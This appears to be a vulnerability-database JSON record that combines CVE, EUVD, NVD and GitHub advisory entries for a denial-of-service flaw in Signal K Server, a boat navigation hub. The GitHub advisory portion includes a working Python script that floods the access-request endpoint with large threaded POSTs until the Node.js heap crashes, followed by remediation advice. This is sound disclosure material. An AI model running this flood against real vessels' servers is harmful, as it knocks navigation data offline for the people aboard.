{"id":"CVE-2025-68272","revision":null,"records":[{"revision":"20c6d361c4544e7586c58148a0e2e364","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-68272","aliases":[],"title":"Signal K Server Vulnerable to Denial of Service via Unrestricted Access Request Flooding","description":"Signal K Server is a server application that runs on a central hub in a boat. A Denial of Service (DoS) vulnerability in versions prior to 2.19.0 allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (`/signalk/v1/access/requests`). This causes a \"JavaScript heap out of memory\" error due to unbounded in-memory storage of request objects. Version 2.19.0 fixes the issue.","state":0,"publishedAt":"2026-01-01T18:08:06.947+00:00","modifiedAt":"2026-01-02T18:55:16.709+00:00","affected":[{"ecosystem":"Vendor product","name":"signalk-server","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"SignalK\",\n                    \"product\": \"signalk-server\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.19.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/SignalK/signalk-server/security/advisories/GHSA-7rqc-ff8m-7j23","https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-68272","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-68272","identifiers":["CVE-2025-68272"]},"retained":false,"historicalAffected":[]},{"revision":"e6e9b1faa502478183a16ddebbb0237b","observedAt":"2026-11-11T04:35:25.502+00:00","statement":{"source":"euvd","id":"EUVD-2025-206139","aliases":["CVE-2025-68272","GHSA-7rqc-ff8m-7j23"],"title":"Signal K Server is a server application that runs on a central hub in a boat. A Denial of Service (DoS) vulnerability in versions prior to 2.19.0 allows an unauthenticated attacker to crash the SignalK Server by flooding the access request …","description":"Signal K Server is a server application that runs on a central hub in a boat. A Denial of Service (DoS) vulnerability in versions prior to 2.19.0 allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (`/signalk/v1/access/requests`). This causes a \"JavaScript heap out of memory\" error due to unbounded in-memory storage of request objects. Version 2.19.0 fixes the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/SignalK/signalk-server/security/advisories/GHSA-7rqc-ff8m-7j23","https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-206139","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jan 1, 2026, 6:08:06 PM","dateUpdated":"Jan 2, 2026, 6:55:16 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-206139","identifiers":["EUVD-2025-206139","CVE-2025-68272","GHSA-7rqc-ff8m-7j23"]},"retained":false,"historicalAffected":[]},{"revision":"ef3600a73e5847449acec79276cd7b86","observedAt":"2026-10-25T04:17:10.72+00:00","statement":{"source":"nvd","id":"CVE-2025-68272","aliases":[],"title":"Signal K Server is a server application that runs on a central hub in a boat. A Denial of Service (DoS) vulnerability in versions prior to 2.19.0 allows an unauthenticated attacker to crash the SignalK Server by flooding the access request …","description":"Signal K Server is a server application that runs on a central hub in a boat. A Denial of Service (DoS) vulnerability in versions prior to 2.19.0 allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (`/signalk/v1/access/requests`). This causes a \"JavaScript heap out of memory\" error due to unbounded in-memory storage of request objects. Version 2.19.0 fixes the issue.","state":0,"publishedAt":"2026-01-01T18:15:40.7+00:00","modifiedAt":"2026-10-07T11:10:00.153+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/SignalK/signalk-server/releases/tag/v2.19.0","https://github.com/SignalK/signalk-server/security/advisories/GHSA-7rqc-ff8m-7j23"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-68272","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-400","CWE-770"],"productCriteria":["cpe:2.3:a:signalk:signal_k_server:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-01-01T18:15:40.700","lastModified":"2026-10-07T11:10:00.153"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-68272","identifiers":["CVE-2025-68272"]},"retained":false,"historicalAffected":[]},{"revision":"b009a5775fb64deb975054fa6951fe04","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-7rqc-ff8m-7j23","aliases":["CVE-2025-68272"],"title":"Signal K Server Vulnerable to Denial of Service via Unrestricted Access Request Flooding","description":"### Summary\nA Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (`/signalk/v1/access/requests`). This causes a \"JavaScript heap out of memory\" error due to unbounded in-memory storage of request objects.\n\n### Details\nThe vulnerability is caused by a lack of rate limiting and improper memory management for incoming access requests.\n\n**Vulnerable Code Analysis:**\n1.  **In-Memory Storage**: In `src/requestResponse.js`, requests are stored in a simple JavaScript object:\n    ```javascript\n    const requests = {}\n    ```\n2.  **Unbounded Growth**: The `createRequest` function adds new requests to this object without checking the current size or count of existing requests.\n3.  **Infrequent Pruning**: The `pruneRequests` function, which removes old requests, runs only once every **15 minutes** (`pruneIntervalRate`).\n4.  **No Rate Limiting**: The endpoint `/signalk/v1/access/requests` accepts POST requests from any client without any rate limiting or authentication (by design, as it's for initial access requests).\n\n**Exploit Scenario:**\n1.  An attacker sends a large number of POST requests (e.g., 20,000+) or requests with large payloads to `/signalk/v1/access/requests`.\n2.  The server stores every request in the `requests` object in the Node.js heap.\n3.  The heap memory usage spikes rapidly.\n4.  The Node.js process hits its memory limit (default ~1.5GB) and crashes with `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory`.\n\n### PoC\nThe following Python script reproduces the crash by flooding the server with requests containing 100KB payloads.\n\n```python\nimport urllib.request\nimport json\nimport threading\nimport time\n\n# Target Configuration\nTARGET_URL = \"http://localhost:3000/signalk/v1/access/requests\"\nPAYLOAD_SIZE_MB = 0.1  # 100 KB per request\nNUM_REQUESTS = 20000   # Sufficient to exhaust heap\nCONCURRENCY = 50\n\n# Generate a large string payload\nLARGE_STRING = \"A\" * (int(PAYLOAD_SIZE_MB * 1024 * 1024))\n\ndef send_heavy_request(i):\n    try:\n        payload = {\n            \"clientId\": f\"attacker-device-{i}\",\n            \"description\": LARGE_STRING, # Stored in memory!\n            \"permissions\": \"readwrite\"\n        }\n        data = json.dumps(payload).encode('utf-8')\n        \n        req = urllib.request.Request(\n            TARGET_URL, \n            data=data, \n            headers={'Content-Type': 'application/json'}, \n            method='POST'\n        )\n        # Short timeout as server might hang\n        urllib.request.urlopen(req, timeout=5)\n    except:\n        pass\n\ndef attack():\n    print(f\"[*] Starting DoS Attack on {TARGET_URL}...\")\n    threads = []\n    for i in range(NUM_REQUESTS):\n        t = threading.Thread(target=send_heavy_request, args=(i,))\n        threads.append(t)\n        t.start()\n        \n        if len(threads) >= CONCURRENCY:\n            for t in threads: t.join()\n            threads = []\n\nif __name__ == \"__main__\":\n    attack()\n```\n\n**Expected Result:**\nMonitor the server process. Memory usage will increase rapidly, and the server will eventually terminate with an Out of Memory (OOM) error.\n\n### Impact\n**Verified Denial of Service**:\nDuring our verification using the provided PoC, we observed the following:\n1.  **Rapid Memory Exhaustion**: The Node.js process memory usage increased by approximately **30MB within seconds** of starting the attack.\n2.  **Service Instability**: Continued execution of the PoC quickly leads to a `FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory` crash.\n3.  **Service Unavailability**: The server becomes completely unresponsive and terminates, requiring a manual restart to recover. This allows an unauthenticated attacker to easily take the vessel's navigation data server offline.\n\n---\n### Remediation\n**1. Implement Rate Limiting**\nUse a middleware like `express-rate-limit` to restrict the number of requests from a single IP address to `/signalk/v1/access/requests`.\n\n**2. Limit Request Storage**\nModify `src/requestResponse.js` to enforce a maximum number of stored requests (e.g., 100). If the limit is reached, reject new requests or evict the oldest ones immediately.\n\n**3. Validate Payload Size**\nEnforce strict limits on the size of the `description` and other fields in the access request payload.","state":0,"publishedAt":"2026-01-02T15:20:05+00:00","modifiedAt":"2026-02-03T03:15:27.955534+00:00","affected":[{"ecosystem":"npm","name":"signalk-server","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.19.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/SignalK/signalk-server/security/advisories/GHSA-7rqc-ff8m-7j23","https://nvd.nist.gov/vuln/detail/CVE-2025-68272","https://github.com/SignalK/signalk-server/commit/55e3574d8266fbc0ed8e453ad4557073541566f5","https://github.com/SignalK/signalk-server","https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"],"sourceUrl":"https://github.com/advisories/GHSA-7rqc-ff8m-7j23","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-7rqc-ff8m-7j23","identifiers":["GHSA-7rqc-ff8m-7j23","CVE-2025-68272"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-11T13:00:02.7707579+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-11T13:00:02.7707579+00:00","lastSuccessAt":"2026-11-11T13:00:02.9559105+00:00","error":null,"lastVerifiedAt":"2026-11-11T13:00:02.9559112+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-de3b77103708811b6494d2ff7c979037d73ae579742cd1649a5c765137ae5083-b82e898af539f446af94bfe3bb84083f5df4f022d00288cc9fbae0154a5061bb","complete":true,"records":424071,"lastAttemptAt":"2026-11-11T12:57:49.006525+00:00","lastSuccessAt":"2026-11-11T12:57:48.4566769+00:00","error":null,"lastVerifiedAt":"2026-11-11T12:57:49.006525+00:00","snapshotPublishedAt":"2026-11-11T12:31:03+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-53d2cc52330742eda493e89295bef78e","complete":false,"records":13759,"lastAttemptAt":"2026-11-11T13:01:26.7551469+00:00","lastSuccessAt":"2026-11-11T13:01:26.8221767+00:00","error":null,"lastVerifiedAt":"2026-11-11T13:01:26.8221767+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-11T13:00:02.7707579+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-11T13:00:02.7707579+00:00","lastSuccessAt":"2026-11-11T13:00:02.9567134+00:00","error":null,"lastVerifiedAt":"2026-11-11T13:00:02.9567135+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-a879d9d6add14faf90d52773703368be","complete":true,"records":13753,"lastAttemptAt":"2026-11-11T13:00:06.155482+00:00","lastSuccessAt":"2026-11-11T13:00:06.151+00:00","error":null,"lastVerifiedAt":"2026-11-11T13:00:06.151+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-11T12:59:57.6350799+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-11T12:59:57.6350799+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-11T12:57:49.1672871+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-11T12:57:49.1672871+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-11T13:00:02.7256916+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-11T13:00:02.7256916+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-10cb353ca77c2a8069d6892d1d394d936b12c0add3c8749e2a1a03a1c5d50426","complete":true,"records":231666,"lastAttemptAt":"2026-11-11T12:59:57.5030871+00:00","lastSuccessAt":"2026-11-11T12:59:55.8981437+00:00","error":null,"lastVerifiedAt":"2026-11-11T12:59:57.5030871+00:00","snapshotPublishedAt":"2026-11-11T12:32:53+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}